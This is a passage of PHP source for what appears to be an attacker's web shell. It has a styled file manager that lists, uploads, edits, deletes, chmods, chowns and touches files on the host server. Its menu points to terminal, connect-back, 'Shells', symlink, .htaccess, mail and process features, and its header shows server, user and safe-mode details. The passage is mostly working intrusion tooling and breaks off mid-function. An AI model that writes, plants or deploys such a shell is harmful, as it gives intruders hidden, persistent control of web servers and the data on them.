curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$rs=curl_exec($ch);
$http=curl_getinfo($ch,CURLINFO_HTTP_CODE);
if(curl_error($ch)) return curl_error($ch);
curl_close($ch);
return ($http>=200 && $http<300);
}
function GetUrlContent($x)
{
global $agent;
$ch=curl_init();
curl_setopt($ch,CURLOPT_USERAGENT,$agent);
curl_setopt($ch,CURLOPT_URL,$x);
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$rs=curl_exec($ch);
if(curl_error($ch)) return curl_error($ch);
curl_close($ch);
return $rs;
}
function GetUrlFromPath($x)
{
$fix_path=str_replace(_,'/',$x);
$protocol=empty($_SERVER['HTTPS'])||$_SERVER['HTTPS']==='off'?'http://':'https://';
$path=str_replace(document_root,'',$fix_path);
return $protocol.server_name.$path;
}
function PostUrlContent($url,$content)
{
global $agent;
$params=array(
'http' => array(
'method' => "POST",
'header' => "Content-Type: application/x-www-form-urlencoded
".
"User-Agent: $agent
",
'content' => http_build_query($content)
)
);
$results="";
$context=stream_context_create($params);
$header=get_headers($url);
if($http=substr($header[0],9,3) != "200")
{
$results="Error: $http";
}
else
{
//file_get_contents
if($contents=file_get_contents($url,null,$context))
{
$results=htmlspecialchars($contents);
}
//stream_get_contents
if($handle=fopen($url,'r',false,$context))
{
$contents=stream_get_contents($handle);
fclose($handle);
$results=htmlspecialchars($contents);
}
//fopen
if($handle=fopen($url,'r',false,$context))
{
$contents="";
while(!feof($handle))
{
$contents.=fread($handle,10240);
}
fclose($handle);
$results=htmlspecialchars($contents);
}
}
return $results;
}
function GetFileType($x)
{
if(is_file($x))
{
return pathinfo($x)['extension'];
}
elseif(is_dir($x))
{
return "dir";
}
elseif(is_link($x))
{
return "link";
}
else
{
return "-";
}
}
function GetFileTime($x,$y)
{
switch($y)
{
case "create":return date("Y-m-d H:i:s",@filectime($x));break;
case "modify":return date("Y-m-d H:i:s",@filemtime($x));break;
case "access":return date("Y-m-d H:i:s",@fileatime($x));break;
}
}
function GetFilePerm($x)
{
$perms=@fileperms($x);
switch ($perms & 0xF000)
{case 0xC000:$info='s';break;case 0xA000:$info='l';break;
case 0x8000:$info='r';break;case 0x6000:$info='b';break;
case 0x4000:$info='d';break;case 0x2000:$info='c';break;
case 0x1000:$info='p';break;default:$info='u';}
$info .=(($perms & 0x0100)?'r':'-');$info .=(($perms & 0x0080)?'w':'-');
$info .=(($perms & 0x0040)?(($perms & 0x0800)?'s':'x' ):(($perms & 0x0800)?'S':'-'));
$info .=(($perms & 0x0020)?'r':'-');$info .=(($perms & 0x0010)?'w':'-');
$info .=(($perms & 0x0008)?(($perms & 0x0400)?'s':'x' ):(($perms & 0x0400)?'S':'-'));
$info .=(($perms & 0x0004)?'r':'-');$info .=(($perms & 0x0002)?'w':'-');
$info .=(($perms & 0x0001)?(($perms & 0x0200)?'t':'x' ):(($perms & 0x0200)?'T':'-'));
return sprintf('%s [%s]',$info,substr(decoct($perms),2));
}
function GetFileSize($x)
{
$x=abs($x);
$size=array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
$exp=$x?floor(log($x)/log(1024)):0;
return sprintf('%.2f '.$size[$exp],($x/pow(1024,floor($exp))));
}
function GetUser($x)
{
if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid'))
{
$uid=posix_getpwuid(posix_getuid());
$gid=posix_getgrgid(posix_getgid());
switch($x)
{
case 'usr':return $uid['name'];break;
case 'uid':return $uid['uid'];break;
case 'grp':return $gid['name'];break;
case 'gid':return $gid['gid'];break;
}
}
else
{
switch($x)
{
case 'usr':return get_current_user();break;
case 'uid':return getmyuid();break;
case 'grp':return "?";break;
case 'gid':return getmygid();break;
}
}
}
function GetOwnerGroup($x)
{
if(Unix())
{
if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid'))
{
$user=posix_getpwuid(fileowner($x));
$group=posix_getgrgid(filegroup($x));
return sprintf('%s:%s',$user['name'],$group['name']);
}
}
return "?:?";
}
function GetFileOwnerGroup($x)
{
if(Unix())
{
if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid'))
{
$user=posix_getpwuid(fileowner($x));
$group=posix_getgrgid(filegroup($x));
return sprintf('%s:%s/%s:%s',$user['name'],$user['uid'],$group['name'],$group['gid']);
}
}
return "?:?/?:?";
}
function GetSafeMode()
{
if(strtolower(ini_get("safe_mode"))=='on')
{
$safemod="<font class='off'>ON</font>";
}
else
{
$safemod="<font class='on'>OFF</font>";
}
return $safemod;
}
function MapDirectory($x)
{
$map="";
$d=str_replace("\",_,$x);
if(empty($d))
{
$d=realpath(".");
}
elseif(realpath($d))
{
$d=realpath($d);
}
$d=str_replace("\",_,$d);
if(substr($d,-1)!=_)
{
$d.=_;
}
$d=str_replace("\\","\",$d);
$pd=$e=explode(_,substr($d,0,-1));
$i=0;
foreach($pd as $b)
{
$t="";
$j=0;
foreach($e as $r)
{
$t.=$r._;
if($j==$i)
{
break;
}
$j++;
}
$map.="<a href=\"?d=".urle($t)."\" >".htmlspecialchars($b)."</a>"._;
$i++;
}
return rtrim($map,_);
}
function MapDrive($x)
{
if(!Unix())
{
$v=explode("\",$x);
$v=$v[0];
$l="";
foreach(range("A","Z") as $lt)
{
$drive=is_dir($lt.":\");
if($drive)
{
$l.="<a href=\"?d=".urle($lt.":\")."\">[";
if(strtolower($lt.':')!=strtolower($v))
{
$l.=$lt;
}
else
{
$l.="<font color=\"orange\"><b>".$lt."</b></font>";
}
$l.="]</a>";
}
}
return $l;
}
}
function MainMenu()
{
$menu=array(
"ExpL" => "?d=".urle(getcwd()),
"★ Sec." => "?x=secure",
"Info" => "?x=info",
"Database" => "?x=db",
"Terminal" => "?x=terminal",
"Connect" => "?x=connect",
".Htaccess" => "?x=htaccess",
"PHP" => "?x=php",
"Perl/CGI" => "?x=perl",
"Mail" => "?x=mail",
"Process" => "?x=process",
"Shells" => "?x=shells",
"Symlink" => "?x=symlink",
"♛ Tools" => "?z",
"Account" => "?x=account",
"Update" => "?x=update",
"Logout" => "?x=logout"
);
$nu="";
foreach($menu as $key => $val)
{
$idxkey=substr($val,1,1);
$idxval=substr($val,3);
$active=any($idxkey,$_REQUEST)&&$_REQUEST[$idxkey]==$idxval?"class='active'":"";
if($key=="Logout")
{
$nu.="<li><a ".$active." href='".$val."' onclick=\"return confirm('Bye !');\">".$key."</a></li>";
}
else
{
$nu.="<li><a ".$active." href='".$val."'>".$key."</a></li>";
}
}
return $nu;
}
function MenuTools($x)
{
global $menu_tools;
$ol="<div class='menu-tools'><ul>";
$menu_tools=$x;
foreach($menu_tools as $k => $v)
{
$active=$_REQUEST['z']==$k?"class='active'":"";
$ol.="<li><a ".$active." href='?z=".$k."'>[".$v['title']."]</a></li>";
}
$ol.="</ul></div>";
return $ol;
}
printf("<div id='header'>
<div class='header-left'>
<div id='info'>
<font class='on'>[%s]</font><br>
<font class='on'>[%s]</font><br>
[<a href='//%s' target='_blank'>%s</a>]: <font class='on'>%s:%s</font> [%s]: <font class='on'>%s:%s</font><br>
[USER]: <font class='on'>%s(%s)</font> [GROUP]: <font class='on'>%s(%s)</font><br>
[HDD]: <font class='on'>%s</font> / <font class='on'>%s</font><br>
[PHPMODE]: <font class='on'>%s</font><br>
[SAFEMODE]: <font class='on'>%s</font><br>
</div>
</div>
<div class='header-right'>
<a href='%s'><div id='logo'>
<h1 id='title'>%s</h1>
<div class='line'></div>
<h2 id='subtitle'>%s</h2>
</div></a>
</div>
<div class='clr'></div>
</div>
<div id='container'>
<div class='menu'>
<ul>%s</ul>
</div>
<div class='menu-directory'>
<div class='map-switch'>
<input type='submit' name='map-switch' value='♞' onclick='mapSwitch(\"map1\",\"map2\")'>
</div>
<div class='map1' id='map1' style='display:inline-block'>
<span style='margin-right:5px'>%s</span>
<span style='margin-right:5px'>%s</span>
</div>
<div class='map2' id='map2' style='display:none'>
<form method='post' id='map2-form' onsubmit='document.getElementById(\"map2-form\").action=\"?g=\" + encodeURI(document.getElementById(\"map2-input\").value);'>
<input type='text' value='%s' id='map2-input'/>
<input type='submit' value='Go'>
</form>
</div>
</div>
<div class='content'>",
php_uname(),server_software,
server_name,server_name,gethostbyname(http_host),server_port,
B64D($account[0]),remote_addr,remote_port,
GetUser("usr"),GetUser("uid"),GetUser("grp"),GetUser("gid"),
GetFileSize(@disk_free_space($dir)),GetFileSize(@disk_total_space($dir)),
php_sapi_name(),GetSafeMode(),php_self,$config['title'],$config['subtitle'],
MainMenu(),MapDrive($map),MapDirectory($map),$map
);
if(any("g",$_REQUEST))
{
$g=$_REQUEST['g'];
if (is_dir($g))
{
header('location:'.php_self.'?d='.urle($g));
}
elseif(is_file($g)||is_link($g))
{
header('location:'.php_self.'?a=v&r='.urle($g));
}
else
{
header('location:'.php_self);
}
}
if(any("d",$_REQUEST)||request_uri===script_name)
{
$_SESSION['c']=urle($dir);
if(any("file",$_REQUEST)&&$_REQUEST['file']=="New File")
{
$file=trim($dir._.$_REQUEST['what']);
if(file_exists($file))
{
printf("<center style='margin-bottom:10px'><b class='off'>Can't create New File!</b></center>");
}
else
{
$mf=@fopen($file,"w");
fclose($mf);
header("location:".php_self."?a=e&r=".urle($file));
}
}
if(any("directory",$_REQUEST)&&$_REQUEST['directory']=="New Dir")
{
$dire=trim($_REQUEST['what']);
@chdir($dir);
if(!@mkdir($dire))
{
printf("<center style='margin-bottom:10px'><b class='off'>Can't create New Directory!</b></center>");
}
else
{
printf("<center style='margin-bottom:10px'><b class='on'>Directory '%s' Created on %s</b></center>",$dire,GetFileTime($dir._.$dire,'create'));
}
}
if(any("upload",$_REQUEST)&&$_REQUEST['upload']=="Upload")
{
$upload=$dir._.trim(basename($_FILES["what"]["name"]));
if(move_uploaded_file($_FILES["what"]["tmp_name"],$upload))
{
printf("<center style='margin-bottom:10px'><b class='on'>File %s has been uploaded</b></center>",basename($_FILES["what"]["name"]));
}
else
{
printf("<center style='margin-bottom:10px'><b class='off'>✕ Can't upload new file! ✕</b></center>");
}
}
if($handle=@opendir($dir))
{
$reads=array();
$count_dirs=0;
$count_files=0;
while(false!==($file=readdir($handle)))
{
$filedir=rtrim($dir,_)._.$file;
$updir=substr($dir,0,strrpos($dir,_));
if (strlen($updir)<=2) $updir=$updir._;
$type=GetFileType($filedir);
$size=GetFileSize(@filesize($filedir));
$last=GetFileTime($filedir,"modify");
$perm=GetFilePerm($filedir);
$owner=GetOwnerGroup($filedir);
$mime=@mime_content_type($filedir);
$view="";
if(strpos($mime,'image')!==false)
{
$view="?a=v&w=i&r=".urle($filedir);
}
elseif(strpos($mime,'video')!==false)
{
$view="?a=v&w=v&r=".urle($filedir);
}
elseif(strpos($mime,'audio')!==false)
{
$view="?a=v&w=a&r=".urle($filedir);
}
else
{
$view="?a=v&r=".urle($filedir);
}
if($file==".")
{
$reads[]="<tr sorttable_customkey='2'><td><center><input type='checkbox' name='nochk[]' value='".urle($dir)."'/></center></td><td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAd5JREFUeNqMU79rFUEQ/vbuodFEEkzAImBpkUabFP4ldpaJhZXYm/RiZWsv/hkWFglBUyTIgyAIIfgIRjHv3r39MePM7N3LcbxAFvZ2b2bn22/mm3XMjF+HL3YW7q28YSIw8mBKoBihhhgCsoORot9d3/ywg3YowMXwNde/PzGnk2vn6PitrT+/PGeNaecg4+qNY3D43vy16A5wDDd4Aqg/ngmrjl/GoN0U5V1QquHQG3q+TPDVhVwyBffcmQGJmSVfyZk7R3SngI4JKfwDJ2+05zIg8gbiereTZRHhJ5KCMOwDFLjhoBTn2g0ghagfKeIYJDPFyibJVBtTREwq60SpYvh5++PpwatHsxSm9QRLSQpEVSd7/TYJUb49TX7gztpjjEffnoVw66+Ytovs14Yp7HaKmUXeX9rKUoMoLNW3srqI5fWn8JejrVkK0QcrkFLOgS39yoKUQe292WJ1guUHG8K2o8K00oO1BTvXoW4yasclUTgZYJY9aFNfAThX5CZRmczAV52oAPoupHhWRIUUAOoyUIlYVaAa/VbLbyiZUiyFbjQFNwiZQSGl4IDy9sO5Wrty0QLKhdZPxmgGcDo8ejn+c/6eiK9poz15Kw7Dr/vN/z6W7q++091/AQYA5mZ8GYJ9K0AAAAAASUVORK5CYII='/> <a title='Current Directory' href='?d=".urle($dir)."'>.</a></td><td><center>".strtoupper($type)."</center></td><td><center>".$size."</center></td><td><center>".$perm."</center></td><td><center>".$owner."</center></td><td><center>".$last."</center></td><td><a class='action' href='?a=x&r=".urle($dir)."' onclick=\"return confirm('Delete Directory [ /".basename($dir)." ] ?');\" title='Delete Folder'>✘</a> <a class='action' href='?a=c&r=".urle($dir)."' title='Modify Folder'>ℳ</a></td></tr>";
}
elseif($file=="..")
{
$reads[]="<tr sorttable_customkey='1'><td><center><input type='checkbox' name='nochk[]' value='".urle($updir)."'/></center></td><td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAmlJREFUeNpsU0toU0EUPfPysx/tTxuDH9SCWhUDooIbd7oRUUTMouqi2iIoCO6lceHWhegy4EJFinWjrlQUpVm0IIoFpVDEIthm0dpikpf3ZuZ6Z94nrXhhMjM3c8895977BBHB2PznK8WPtDgyWH5q77cPH8PpdXuhpQT4ifR9u5sfJb1bmw6VivahATDrxcRZ2njfoaMv+2j7mLDn93MPiNRMvGbL18L9IpF8h9/TN+EYkMffSiOXJ5+hkD+PdqcLpICWHOHc2CC+LEyA/K+cKQMnlQHJX8wqYG3MAJy88Wa4OLDvEqAEOpJd0LxHIMdHBziowSwVlF8D6QaicK01krw/JynwcKoEwZczewroTvZirlKJs5CqQ5CG8pb57FnJUA0LYCXMX5fibd+p8LWDDemcPZbzQyjvH+Ki1TlIciElA7ghwLKV4kRZstt2sANWRjYTAGzuP2hXZFpJ/GsxgGJ0ox1aoFWsDXyyxqCs26+ydmagFN/rRjymJ1898bzGzmQE0HCZpmk5A0RFIv8Pn0WYPsiu6t/Rsj6PauVTwffTSzGAGZhUG2F06hEc9ibS7OPMNp6ErYFlKavo7MkhmTqCxZ/jwzGA9Hx82H2BZSw1NTN9Gx8ycHkajU/7M+jInsDC7DiaEmo1bNl1AMr9ASFgqVu9MCTIzoGUimXVAnnaN0PdBBDCCYbEtMk6wkpQwIG0sn0PQIUF4GsTwLSIFKNqF6DVrQq+IWVrQDxAYQC/1SsYOI4pOxKZrfifiUSbDUisif7XlpGIPufXd/uvdvZm760M0no1FZcnrzUdjw7au3vu/BVgAFLXeuTxhTXVAAAAAElFTkSuQmCC'/> <a title='Parent Directory' href='?d=".urle($updir)."'>".$file."</a></td><td><center>".strtoupper($type)."</center></td><td><center>".$size."</center></td><td><center>".$perm."</center></td><td><center>".$owner."</center></td><td><center>".$last."</center></td><td><a class='action' href='?a=x&r=".urle($updir)."' onclick=\"return confirm('Delete Directory [ /".basename($updir)." ] ?');\" title='Delete Folder'>✘</a> <a class='action' href='?a=c&r=".urle($updir)."' title='Modify Folder'>ℳ</a></td></tr>";
}
else
{
if($type=="dir")
{
$reads[]="<tr sorttable_customkey='3'><td><center><input type='checkbox' name='chk[]' value='".urle($filedir)."' /></center></td><td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAd5JREFUeNqMU79rFUEQ/vbuodFEEkzAImBpkUabFP4ldpaJhZXYm/RiZWsv/hkWFglBUyTIgyAIIfgIRjHv3r39MePM7N3LcbxAFvZ2b2bn22/mm3XMjF+HL3YW7q28YSIw8mBKoBihhhgCsoORot9d3/ywg3YowMXwNde/PzGnk2vn6PitrT+/PGeNaecg4+qNY3D43vy16A5wDDd4Aqg/ngmrjl/GoN0U5V1QquHQG3q+TPDVhVwyBffcmQGJmSVfyZk7R3SngI4JKfwDJ2+05zIg8gbiereTZRHhJ5KCMOwDFLjhoBTn2g0ghagfKeIYJDPFyibJVBtTREwq60SpYvh5++PpwatHsxSm9QRLSQpEVSd7/TYJUb49TX7gztpjjEffnoVw66+Ytovs14Yp7HaKmUXeX9rKUoMoLNW3srqI5fWn8JejrVkK0QcrkFLOgS39yoKUQe292WJ1guUHG8K2o8K00oO1BTvXoW4yasclUTgZYJY9aFNfAThX5CZRmczAV52oAPoupHhWRIUUAOoyUIlYVaAa/VbLbyiZUiyFbjQFNwiZQSGl4IDy9sO5Wrty0QLKhdZPxmgGcDo8ejn+c/6eiK9poz15Kw7Dr/vN/z6W7q++091/AQYA5mZ8GYJ9K0AAAAAASUVORK5CYII='/> <a title='Open Directory' href='?d=".urle($filedir)."'>".$file."</a></td><td><center>".strtoupper($type)."</center></td><td><center>".$size."</center></td><td><center>".$perm."</center></td><td><center>".$owner."</center></td><td><center>".$last."</center></td><td><a class='action' href='?a=x&r=".urle($filedir)."' onclick=\"return confirm('Delete Directory [ /".basename($filedir)." ] ?');\" title='Delete Folder'>✘</a> <a class='action' href='?a=c&r=".urle($filedir)."' title='Modify Folder'>ℳ</a></td></tr>";
$count_dirs++;
}
else
{
$reads[]="<tr sorttable_customkey='4'><td><center><input type='checkbox' name='chk[]' value='".urle($filedir)."' /></center></td><td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAABnRSTlMAAAAAAABupgeRAAABHUlEQVR42o2RMW7DIBiF3498iHRJD5JKHurL+CRVBp+i2T16tTynF2gO0KSb5ZrBBl4HHDBuK/WXACH4eO9/CAAAbdvijzLGNE1TVZXfZuHg6XCAQESAZXbOKaXO57eiKG6ft9PrKQIkCQqFoIiQFBGlFIB5nvM8t9aOX2Nd18oDzjnPgCDpn/BH4zh2XZdlWVmWiUK4IgCBoFMUz9eP6zRN75cLgEQhcmTQIbl72O0f9865qLAAsURAAgKBJKEtgLXWvyjLuFsThCSstb8rBCaAQhDYWgIZ7myM+TUBjDHrHlZcbMYYk34cN0YSLcgS+wL0fe9TXDMbY33fR2AYBvyQ8L0Gk8MwREBrTfKe4TpTzwhArXWi8HI84h/1DfwI5mhxJamFAAAAAElFTkSuQmCC'> <a title='View File' href='".$view."'>".$file."</a></td><td><center>".strtoupper($type)."</center></td><td><center>".$size."</center></td><td><center>".$perm."</center></td><td><center>".$owner."</center></td><td><center>".$last."</center></td><td><a class='action' href='?a=e&r=".urle($filedir)."' title='Modify File'>ℳ</a> <a class='action' href='?a=x&r=".urle($filedir)."' onclick=\"return confirm('Delete Filename [ ".basename($filedir)." ] ?');\" title='Delete File'>✘</a> <a class='action' href='?a=d&r=".urle($filedir)."' title='Download File'>➥</a></td></tr>";
$count_files++;
}
}
}
sort($reads);
$filesdirs="";
foreach($reads as $read)
{
$filesdirs.=$read;
}
printf("<div id='action'>
<table><tr>
<td><form class='new' method=POST action='?d=%s'>
<input name='what' type='text' /><input type='submit' name='file' value='New File'/>
</form></td>
<td><form class='new' method=POST action='?d=%s'>
<input name='what' type='text' /><input type='submit' name='directory' value='New Dir'/>
</form></td>
<td><form class='new' method=POST action='?x=find'>
<input type='text' name='find-value' id='find-action'/><input type='submit' name='find-button' value='Find'/>
</form></td>
<td><form class='new' method=POST action='?d=%s&x=upload' enctype='multipart/form-data'>
<input name='what' type='file' class='inputfile'/><input type='submit' name='upload' value='Upload'/>
</form></td>
</tr></table>
</div>
<div id='home'>
<form name='files' method=POST action='?x=action' onclick='checkCount(\"count\")'>
<table class='table sortable'>
<thead>
<tr>
<th class='sorttable_nosort'><input type='checkbox' name='check-all' onclick='checkAll()'/></th>
<th class='sorttable_numeric'>Name</th>
<th>Type</th>
<th>Size</th>
<th>Perms</th>
<th>Owner:Group</th>
<th>Modified</th>
<th>Act.</th>
</tr>
</thead>
<tbody>%s</tbody>
<tFoot>
<tr>
<td colspan='8'>[<span id='count'>0</span>] Selected | Dir's: [%s] File's: [%s]</td>
</tr>
</tFoot>
</table>
<select name='action-value'>
<option value='copy'>Copy</option>
<option value='move'>Move</option>
<option value='delete'>Delete</option>
<option value='zip'>Archive (zip)</option>
<option value='unzip'>Extract to (zip)</option>
</select>
<input type='submit' value='Action' name='action-button' />
</form>
</div>",
urle($dir),
urle($dir),
urle($dir),
$filesdirs,
$count_dirs,
$count_files
);
closedir($handle);
}
else
{
print "<center style='margin-bottom:10px'><b class='off'>Can't Open Location</b></center>";
}
}
if(any("r",$_REQUEST))
{
if(file_exists(urld($_REQUEST["r"])))
{
$file=strval(urld($_REQUEST["r"]));
$status=any("status",$_SESSION)?$_SESSION['status']:"";
$back=php_self."?d=".urle($dir);
printf("<div class='divide'>
<div class='divide-left'>
<table class='table'>
<tr><td>Name</td><td>%s</td></tr>
<tr><td>Size</td><td>%s</td></tr>
<tr><td>Permission</td><td>%s</td></tr>
<tr><td>Create time</td><td>%s</td></tr>
<tr><td>Last modified</td><td>%s</td></tr>
<tr><td>Last accessed</td><td>%s</td></tr>
</table>
</div>
<div class='divide-right'>
<table class='table'>
<tr><td>MIME</td><td>%s</td></tr>
<tr><td>Owner/Group</td><td>%s</td></tr>
<tr><td>MD5</td><td>%s</td></tr>
<tr><td>SHA1</td><td>%s</td></tr>
</table>
</div>
</div>",
basename($file),
GetFileSize(@filesize($file)),
GetFilePerm($file),
GetFileTime($file,"create"),
GetFileTime($file,"modify"),
GetFileTime($file,"access"),
mime_content_type($file),
GetFileOwnerGroup($file),
@md5_file($file),
@sha1_file($file)
);
if(is_file($file)||is_link($file))
{
$menu=array(
"Back" => "?a=b&r=",
"Edit" => "?a=e&r=",
"View" => "?a=v&r=",
"Copy" => "?a=cp&r=",
"Move" => "?a=mv&r=",
"Download" => "?a=d&r=",
"Hexdump" => "?a=h&r=",
"Chmod" => "?a=c&r=",
"Chown" => "?a=cwn&r=",
"Chgrp" => "?a=cgp&r=",
"Touch" => "?a=t&r=",
"Rename" => "?a=r&r=",
"Delete" => "?a=x&r="
);
}
elseif(is_dir($file))
{
$menu=array(
"Back" => "?a=b&r=",
"Chmod" => "?a=c&r=",
"Chown" => "?a=cwn&r=",
"Chgrp" => "?a=cgp&r=",
"Touch" => "?a=t&r=",
"Rename" => "?a=r&r=",
"Delete" => "?a=x&r="
);
}
$nu="";
foreach($menu as $key => $val)
{
$idxkey=substr($val,1,1);
$idxval=substr($val,3,strpos($val,'&')-3);
$active=any($idxkey,$_REQUEST)&&$_REQUEST[$idxkey]==$idxval?"class='active'":"";
if($key=="Delete")
{
$nu.="<li><a ".$active." href='".$val.urle($file)."' onclick=\"return confirm('Delete Filename [ ".basename($file)." ] ?');\">".$key."</a></li>";
}
elseif($key=="Back")
{
$nu.="<li><a ".$active." href='".$back."'>".$key."</a></li>";
}
else
{
$nu.="<li><a ".$active." href='".$val.urle($file)."'>".$key."</a></li>";
}
}
printf("<div class='menu'>
<ul>%s</ul>
</div>",$nu);
if($_REQUEST['a']=='e')
{
$source="";
if(filesize($file) > 5242880)
{
$source.="Lazy to Read more than 5MB Files";
}
else
{
$open=fopen($file,'r');
if($open)
{
while(!feof($open))
{
$source.=htmlentities(fread($open,(1024*4)));
}
fclose($open);
}
}
printf("<form class='frmsource' method='post'>
<textarea id='sourcefocus' name='sourcecode' rows='25' cols='100'>%s</textarea>
<input type='Submit' value='Save file' name='save'/>
<label>%s</label>
</form>",$source,$status);
if(any("status",$_SESSION)) unset($_SESSION['status']);
if(any("save",$_REQUEST))
{
$new_source=$_REQUEST['sourcecode'];
if(function_exists("chmod")) chmod($file,0755);
$source_edit=fopen($file,'w+');
$tulis=fwrite($source_edit,$new_source);
fclose($source_edit);
if($tulis)
{
$_SESSION['status']="File Saved ! ".GetFileTime($file,"modify")." | ".GetFileSize(filesize($file));
}
else
{
$_SESSION['status']="Whoops, something went wrong...";
}
header("location:".php_self."?a=e&r=".urle($file));
}
}
if($_REQUEST['a']=='r')
{
printf("<form class='new' method='post'>
<input type='text' name='name' value='%s'/>
<input type='Submit' value='Rename' name='rename'/>
<label>%s</label>
</form>",basename($file),$status);
if(any("status",$_SESSION)) unset($_SESSION['status']);
if(any("rename",$_REQUEST))
{
$path=pathinfo(trim($file));
$newname=$path['dirname']._.trim($_REQUEST['name']);
if(!rename(trim($file),$newname))
{
$_SESSION['status']='Whoops, something went wrong...';
}
else
{
$_SESSION['status']='Renamed file with success';
}
header("location:".php_self."?a=r&r=".urle($newname));
}
}
if($_REQUEST['a']=='c')
{
printf("<form class='new' method='post'>
<input type='text' name='octal' value='%s'/>
<input type='Submit' value='Chmod' name='chmod'/>
<label>%s</label>
</form>",substr(decoct(fileperms($file)),2),$status);
if(any("status",$_SESSION)) unset($_SESSION['status']);
if(any("chmod",$_REQUEST))
{
$octal=octdec($_REQUEST['octal']);
if(!chmod(trim($file),$octal))
{
$_SESSION['status']='Whoops, something went wrong...';
}
else
{
$_SESSION['status']='Chmod file with success';
}
header("location:".php_self."?a=c&r=".urle($file));
}
}
if($_REQUEST['a']=='cwn')
{
$own='';
if(function_exists('posix_getpwuid'))
{
$user=posix_getpwuid(fileowner($x));
$own=$user['name'];
}
printf("<form class='new' method='post'>
<input type='text' name='own' value='%s'/>
<input type='Submit' value='Chown' name='chown'/>
<label>%s</label>
</form>",$own,$status);
if(any("status",$_SESSION)) unset($_SESSION['status']);
if(any("chown",$_REQUEST))
{
$own=$_REQUEST['own'];
if(!chown(trim($file),$own))
{
$_SESSION['status']='Whoops, something went wrong...';
}
else
{
$_SESSION['status']='Chown file with success';
}
header("location:".php_self."?a=cwn&r=".urle($file));
}
}
if($_REQUEST['a']=='cgp')
{
$grp='';
if(function_exists('posix_getgrgid'))
{
$group=posix_getgrgid(filegroup($x));
$grp=$group['name'];
}
printf("<form class='new' method='post'>
<input type='text' name='grp' value='%s'/>
<input type='Submit' value='Chgrp' name='chgrp'/>
<label>%s</label>
</form>",$grp,$status);
if(any("status",$_SESSION)) unset($_SESSION['status']);
if(any("chgrp",$_REQUEST))
{
$grp=$_REQUEST['grp'];
if(!chgrp(trim($file),$grp))
{
$_SESSION['status']='Whoops, something went wrong...';
}
else
{
$_SESSION['status']='Chgrp file with success';
}
header("location:".php_self."?a=cgp&r=".urle($file));
}
}
if($_REQUEST['a']=='t')
{
printf("<form class='new' method='post'>
<input type='text' name='time' value='%s'/>
<input type='Submit' value='Touch' name='touch'/>
<label>%s</label>
</form>",GetFileTime($file,"modify"),$status);
if(any("status",$_SESSION)) unset($_SESSION['status']);
if(any("touch",$_REQUEST))
{
$time=$_REQUEST['time'];
if(!touch(trim($file),strtotime($time)))
{
$_SESSION['status']='Whoops, something went wrong...';
}
else
{
$_SESSION['status']='Touched file with success';
}
header("location:".php_self."?a=t&r=".urle($file));
}
}
if($_REQUEST['a']=='v')
{
printf("<div class='menu'>
<ul>
<li><a href='?a=v&r=%s'>Source</a></li>
<li><a href='?a=v&w=f&r=%s'>iFrame</a></li>
<li><a href='?a=v&w=i&r=%s'>Image</a></li>
<li><a href='?a=v&w=v&r=%s'>Video</a></li>
<li><a href='?a=v&w=a&r=%s'>Audio</a></li>
</ul>
</div>",
urle($file),urle($file),
urle($file),urle($file),
urle($file));
if(is_readable($file))
{
if(any("w",$_REQUEST))
{
$url=GetUrlFromPath($file);
$type=pathinfo($url)['extension'];
if($_REQUEST['w']=='f')
{
printf("<center><iframe src='%s' width='100%%' height='325' frameBorder='0'>Suck</iframe><a href='%s' target='_blank'>--> New Tab <--</a></center>",$url,$url);
}
if($_REQUEST['w']=='i')
{
printf("<center><img src='%s' alt=' Not Image'/></center>",$url);
}
if($_REQUEST['w']=='v')
{
printf("<center><video width='640' height='320' controls><source src='%s' type='video/%s'>Suck</video></center>",$url,$type);
}
if($_REQUEST['w']=='a')
{
printf("<center><audio controls><source src='%s' type='audio/%s'>Suck</audio></center>",$url,$type);
}
}
else
{
if(filesize($file) > 5242880)
{
printf("Lazy to Read more than 5MB Files");
}
else
{
$code=highlight_file($file,true);
printf("<div class='highlight'>%s</div>",$code);
}
}
}
}
if($_REQUEST['a']=='h')
{
$c=file_get_contents($file);
$n=0;
$h=array('00000000<br>','','');
$len=strlen($c);
for($i=0;$i<$len;++$i)
{
$h[1].=sprintf('%02X',ord($c[$i])).' ';
switch(ord($c[$i]))
{
case 0: $h[2].=' ';break;
case 9: $h[2].=' ';break;
case 10:$h[2].=' ';break;
case 13:$h[2].=' ';break;
default:$h[2].=$c[$i];break;
}
$n++;
if($n==32)
{
$n=0;
if($i+1 < $len)
{
$h[0].=sprintf('%08X',$i+1).'<br>';
}
$h[1].='<br>';
$h[2].="
";
}
}
printf("
<div id='hexdump'>
<table class='hexdump'>
<tr>
<td><pre>%s</pre></td>
<td><pre>%s</pre></td>
<td><pre>%s</pre></td>
</tr>
</table>
</div>",$h[0],$h[1],htmlspecialchars($h[2]));
}
if($_REQUEST['a']=='cp'||$_REQUEST['a']=='mv')
{
printf("<form class='new' method='post'>
<input type='text' name='file-dest' value='%s'/>
<input type='Submit' value='%s' name='submit'/>
<label>%s</label>
</form>",$file,($_REQUEST['a']=='cp'?'Copy':'Move'),$status);
if(any("status",$_SESSION)) unset($_SESSION['status']);
if(any("submit",$_REQUEST))
{
$source=$file;
$dest=$_REQUEST['file-dest'];
if(!file_exists($dest))
{
if ($_REQUEST['a']=='cp')
{
if(!copy(trim($source),trim($dest)))
{
$_SESSION['status']='Whoops, cannot copying...';
}
else
{
